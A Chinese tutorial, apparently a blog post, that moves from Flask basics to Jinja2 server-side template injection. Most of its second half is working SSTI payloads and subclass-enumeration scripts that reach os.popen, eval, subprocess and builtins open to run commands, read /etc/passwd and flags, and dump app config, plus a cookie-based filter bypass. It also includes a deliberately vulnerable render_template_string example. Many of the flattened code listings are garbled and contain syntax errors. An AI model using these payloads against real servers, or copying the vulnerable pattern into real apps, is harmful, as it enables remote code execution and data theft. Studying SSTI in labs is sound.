Flask框架
flask基础测试
1 2 3 4 5 6 7 8 from flask import Flask app = Flask(__name__) @app.route('/' ) def flask_test (): return 'Flask Test Successful!' if __name__ == '__main__' app.debug = True app.run(debug = True )
代码解析
使用引入的Flask类创建一个flask实例,传入参数是此实例的唯一标示,就相当于启动了一个服务器服务,用于处理后续的处理
route路由
服务器对于网络请求的识别,都是通过解析该网络请求的url地址和所携带的参数来完成的,这里也不例外,此处我们看到代码中的这句语句,它被称为路由,它的作用就是对网络请求进行筛选,每个route对应这一类请求类型:route中所带的参数是一个字符串类型,它的内容就对应它要响应的标示,例如此处字符串为‘/’,表明当网络访问地址为“http://127.0.0.1:5000/”时,此语句后面定义的函数就会被调用,该函数返回的内容就是浏览器中访问该地址时响应的页面内容
1 2 from flask import Flaskapp = Flask(__name__)
main入口和Debug
当.py文件被直接运行时,if __name__ == '__main__'
之下的代码块将被运行;当.py文件以模块形式被导入时,if name == ‘main‘之下的代码块不被运行。
flask编写的程序和php不一样,每一次变动都需要重启服务器来执行变更,就显得很麻烦,为了应对这种问题,flask中的debug模式可以在不影响服务器运行下,执行更新每一次的变更。这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。
1 2 3 if __name__ == '__main__' app.debug = True app.run(debug = True )
flask识别传入参数
在url中添加可以传入参数的地方我们只需要在route
后面的路径中添加标记<vaule_name>
,然后使用def
接受即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flaskapp = Flask(__name__) @app.route('/' ) def index (): return 'Hello World' @app.route('/user/<username>' ) def user (username ): return 'username:{0}' .format (username) if __name__ == '__main__' : app.debug = True app.run(debug = True )
HTTP方法
GET和POST方法
1 2 3 4 5 6 7 8 9 10 11 12 13 from urllib import requestfrom flask import Flask,request@app.route('/method' ,methods = ['GET' ,'POST' ] ) def method (): if request.method == 'GET' : return 'Now function is GET' elif request.method == 'POST' : return 'Now function is POST' if __name__ == '__main__' : app.debug = True app.run(debug = True )
request主要是用于在判断时,获取当前页面的方法,如果直接打开URL,就会显示GET方法,如果使用POST,就会显示POST方法。
注意:request和requests不一样,request是包含在flask中的,而requests是请求网页的,不能混淆
Redirect重定向
比较常用的地方就是登入界面;当我们输入正确的账密后给我们重定向到另外一个界面中;此时需要配合url_for
使用于构造url
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import timefrom flask import Flask,request,redirect,url_forapp = Flask(__name__) @app.route('/login' ,methods = ['GET' ,'POST' ] ) def login (): username = 'admin' password = 'admin' user = request.args.get('username' ) passwd = request.form['passwd' ] if user == username and passwd == password: return redirect(url_for('login_s' )) else : return 'username or password error' @app.route('/login_s' ,methods = ['GET' ] ) def login_s (): return 'Successed' if __name__ == '__main__' : app.debug = True app.run(debug = True )
模板渲染
单调的html看起来是十分无趣的,一个成熟的html文件是需要不同样式的文件组成的,因此我们为了让模板看起来更加的成熟,我们就需要对模板进行渲染。
模板引擎
首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
通俗的理解就是拿到数据之后我们直接塞入模板,然后让渲染引擎将塞进去的东西生成html
,随后返回给浏览器
render_template
我们可以在app.py
使用字典的格式定义好需要渲染的内容;然后使用render_template
将数据渲染到index.html
。此时在index.html
中,我们需要使用的格式为{{参数名}}
来接受参数值,比如<标签>{{username}}</标签>
;此时注意的点在于html
文件获取参数一定要填入传过来的参数名
此时我们先看templates
文件夹下面的index.html
1 2 3 4 5 6 7 8 9 <html > <head > <body > <h1 > Hello,{{username}}</h1 > <h2 > {{year}}</h2 > <h3 > {{Country}}</h3 > </body > </head > </html >
app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from importlib.resources import contentsimport timefrom flask import Flask,request,redirect,url_for,render_templeapp = Flask(__name__) @app.route('/' ) def index (): contents = { 'username' :'hey' 'yera' :'21' 'Country' :'China' } return render_template('index.html' ,**contents) if __name__ == '__main__' app.debug = True app.run(debug = True )
渲染前:
渲染后:
render_template_strings
函数解读
render_template_strings
是用于渲染字符串的一个函数,这个函数可以将html
代码变成字符串,然后使用render_template_strings()
将文件渲染输出,这个和render_template
的差别在于其可以使用于没有外部文件的情况下直接在同文件下定义好html
代码,然后直接渲染输出即可。
代码示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from flask import Flask,request,render_template_stringsapp = Flask(__name__) @app.route('/' ) def index (): return 'GET /view?filename=app.py' @app.route('/' ) def view (): filename = request.args.get('filename' ) if ('flag' in filename): return 'WAF' if ('cgroup' in filename): return 'WAF' if ('self' in filename): return 'WAF' try : with open (filename,'r' ) as file: templates=''' <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>文件存在</title> </head> <h1> {} </h1> </html> ''' .format (f.read()) return render_template_string(templates) except Exception as e: templates=''' <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>文件不存在</title> </head> <h1> 文件不存在 </h1> </html> ''' return render_template_string(templates) if __name__ == '__main__' : app.debug = True app.run(debug = True )
渲染结果:
Flask框架漏洞
漏洞成因
1.最主要的漏洞成因就是在渲染模板时,没有严格的控制用户的输入,或者使用了危险的模板,导致了用户可以直接和flask
程序进行交互,从而造成了漏洞的产生
2.其次flask
是基于python开发的一种web
服务器,也就是说如果用户可以和flask
进行交互的话,就可以执行python
代码
漏洞演示
接下来我们来看一个代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from importlib.resources import contentsimport timefrom flask import Flask,request,redirect,url_for,render_template_string,render_templateapp = Flask(__name__) @app.route('/' ,methods = ['GET' ] ) def index (): str = request.args.get('v' ) html_str = ''' <html> <head></head> <body>{{str}}</body> </html> ''' return render_template_string(html_str,str =str ) if __name__ == '__main__' : app.debug = True app.run(debug = True )
请把目光移至html_str
中的标签,其中str
是被{{}}`包括起来的,也就是说,使用`{{}}
包起来的,是会被预先渲染转义,然后才输出的,不会被渲染执行。
接下来我们来继续看一个较为粗心的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from importlib.resources import contentsimport timefrom flask import Flask,request,redirect,url_for,render_template_string,render_templateapp = Flask(__name__) @app.route('/' ,methods = ['GET' ] ) def index (): str = request.args.get('v' ) html_str = ''' <html> <head></head> <body>{0}</body> </html> ''' .format (str ) return render_template_string(html_str) if __name__ == '__main__' : app.debug = True app.run(debug = True )
为什么说它粗心呢,第一它并没有对我们的输入做任何的过滤就直接将我们输入的值直接放入html_str
中,然后经过模板渲染,直接输出。户完全对输入值可控,就会造成SSTI
;其次没有使用{{}}`包起来的,没有预先渲染转义
![](./从flask框架到SSTI模版注入/4.png)
## 解析原因
因为`flask`是基于`Jinja2`的,`Jinja2`在渲染的时候会把`{{}}
包裹的内容当做变量解析替换。所以可以利用此语法,传入参数{{7 * 7}}
会发现返回值为49
,说明我们输入的表达式被执行了。在Jinja2
模板引擎中使用{{}}`标识符包裹的内容会被解析成一个表达式,并且会在服务器端进行求值和渲染。如果使用`{{}}
中包含的是可执行的命令语句;此时这个命令语句会被执行;所以此时我们加上{{}}`标识符的目的就是为了使得被`{{}}
包裹的内容当作变量来解析替换。
魔术方法
1 2 3 4 5 6 7 8 9 10 __class__ __mro__ __subclasses__ __globals__ __init__ __base__ 注: __base__ __bases__ __mro__
继承关系
通过一个子类找到父类,在从父类找到子类,再找到全局变量,这个就是继承关系
1 2 3 4 5 6 7 8 9 10 11 12 class A : pass class B (A ): pass class C (B ): pass a = A() b = B() c = C() print ('a的继承关系:' ,end = '' )print (a.__class__.__mro__)print ('b的继承关系:' ,end = '' )print (b.__class__.__mro__)print ('c的继承关系:' ,end = '' )print (c.__class__.__mro__)
EXP的构造
漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from importlib.resources import contentsimport timefrom flask import Flask,request,redirect,url_for,render_template_string,render_templateapp = Flask(__name__) @app.route('/' ,methods = ['GET' ] ) def index (): str = request.args.get('v' ) html_str = ''' <html> <head></head> <body>{0}</body> </html> ''' .format (str ) return render_template_string(html_str) if __name__ == '__main__' : app.debug = True app.run(debug = True )
第一步:寻找内置类所对应的类
使用__class__
来获取内置类所对应的类;可以使用str、dict、tuple、list
进行获取
第二步:拿到object基类
利用__base__、__bases__、__mro__[-1]、__mro[1]
拿到object
基类
第三步:拿到子类列表
利用__subclasses__()
拿到子类列表
第四步:在子类中找到可以getshell的类
我们依靠脚本来遍历实现
1 2 3 4 5 6 7 8 9 10 11 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\ {{().__class__.__bases__[0].__subclasses__()[" +str (i)+"]}}" res = requests.get(url=url, headers=headers) if 'os._wrap_close' in res.text: print (i)
此时可以发现object
基类的第133
个子类名为os._wrap_close
;而在这个类中有popen
方法
调用可getshell的类步骤
1.初始化类
首先我们调用它的__init__
方法进行初始化
2.获取方法内的方法和属性等
接着我们使用__globals
可以获取到方法内以字典的形式返回的方法、属性等值
3.调用其中的方法来RCE
然后就可以调用其中的popen来执行命令
常用来getshell的类的寻找脚本
Python3方法
寻找os._wrap_close
类
exp
1 2 3 4 5 6 7 8 9 10 11 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\ {{().__class__.__bases__[0].__subclasses__()[" +str (i)+"]}}" res = requests.get(url=url, headers=headers) if 'os._wrap_close' in res.text: print (i)
paylaod
1 {{"".__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['popen']('whoami').read()}}
寻找内建函数eval
还有一个比较厉害的模块,就是__builtins__
,它里面有eval()
等函数,我们可以也利用它来进行RCE
exp
1 2 3 4 5 6 7 8 9 10 11 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()[" +str (i)+"].__init__.__globals__['__builtins__']}}" res = requests.get(url=url, headers=headers) if 'eval' in res.text: print (i)
payload
1 {{''.__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
以下是几个含有eval
函数的类
1 2 3 4 5 6 7 8 - warnings.catch_warnings - WarningMessage - codecs.IncrementalEncoder - codecs.IncrementalDecoder - codecs.StreamReaderWriter - os._wrap_close - reprlib.Repr - weakref.finalize
寻找 os 模块
此时我们注意到在利用内建函数进行rce时依旧要使用到os
模块;那么此时我们直接调用os
模块是不是会更简单一点。
Python的 os 模块中有system
和popen
这两个函数可用来执行命令。其中system()
函数执行命令是没有回显的,我们可以使用system()
函数配合curl
外带数据;popen()
函数执行命令有回显。所以比较常用的函数为popen()
函数,而当popen()
函数被过滤掉时,可以使用system()
函数代替。
exp
1 2 3 4 5 6 7 8 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()[" +str (i)+"].__init__.__globals__}}" res = requests.get(url=url, headers=headers) if 'os.py' in res.text: print (i)
paylaod
1 {{''.__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['os'].popen('ls /').read()}}
寻找popen函数
exp
1 2 3 4 5 6 7 8 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()[" +str (i)+"].__init__.__globals__}}" res = requests.get(url=url, headers=headers) if 'popen' in res.text: print (i)
payload
1 {{''.__class__.__bases__[0].__subclasses__()[xxx].__init__.__globals__['popen']('ls /').read()}}
寻找importlib类
Python 中存在 <class '_frozen_importlib.BuiltinImporter'>
类,目的就是提供 Python 中 import
语句的实现(以及 __import__
函数)。我么可以直接利用该类中load_module
将os模块
导入,从而使用 os 模块执行命令。
exp
1 2 3 4 5 6 7 8 9 10 11 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()[" +str (i)+"]}}" res = requests.get(url=url, headers=headers) if '_frozen_importlib.BuiltinImporter' in res.text: print (i)
payload
1 {{[].__class__.__base__.__subclasses__()[xxx]["load_module"]("os")["popen"]("ls /").read()}}
Python2方法
file类读文件
1 2 3 4 读文件 {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
寻找linecache函数
linecache
这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块
,所以我们也可以利用这个 linecache
函数去执行命令。
首先编写脚本遍历目标Python环境中含有 linecache
这个函数的子类的索引号:
1 2 3 4 5 6 7 8 9 10 11 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()[" +str (i)+"].__init__.__globals__}}" res = requests.get(url=url, headers=headers) if 'linecache' in res.text: print (i)
payload
1 {{[].__class__.__base__.__subclasses__()[xxx].__init__.func_globals['linecache'].os.popen('whoami').read()}}
python2&3的方法
__builtins__
首先__builtins__
是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为builtins
这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)
来查看调用方法的列表,然后可以发现__builtins__
下有eval
,__import__
等的函数,因此可以利用此来执行命令。
接下来调用eval
等函数方法即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}} {{x.__init__.__globals__['__builtins__']}} 这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了 {{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}} Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
寻找subprocess.Popen类
从python2.4版本开始,可以用 subprocess
这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess
意在替代其他几个老的模块或者函数,比如:os.system
、os.popen
等函数。
exp
1 2 3 4 5 6 7 8 9 10 11 import requestsheaders = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0' } for i in range (500 ): url = "http://127.0.0.1:5000/?v=\{{().__class__.__bases__[0].__subclasses__()[" +str (i)+"]}}" res = requests.get(url=url, headers=headers) if 'linecache' in res.text: print (i)
paylaod
1 2 3 {{[].__class__.__base__.__subclasses__()[xxx]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} # {{[].__class__.__base__.__subclasses__()[xxx]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}
利用配置信息来构造payload
我们有时候可以使用flask的内置函数比如说url_for,get_flashed_messages,甚至是内置的对象request来查询配置信息或者是构造payload
config
我们通常会用查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG')
,就可以直接访问{{config['FLAG']}}
或者{{config.FLAG}}
获得flag
request
Jinjia2
中存在对象request
查询配置信息{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}
payload
1 2 3 {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} {{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
url_for
查询配置信息{{url_for.__globals__['current_app'].config}}
payload
1 2 3 4 5 {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} {{url_for.__globals__.os.popen('whoami').read()}} {{lipsum.__globals__.os.popen('whoami').read()}}
get_flashed_messages
查询配置信息{{get_flashed_messages.__globals__['current_app'].config}}
payload
1 {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}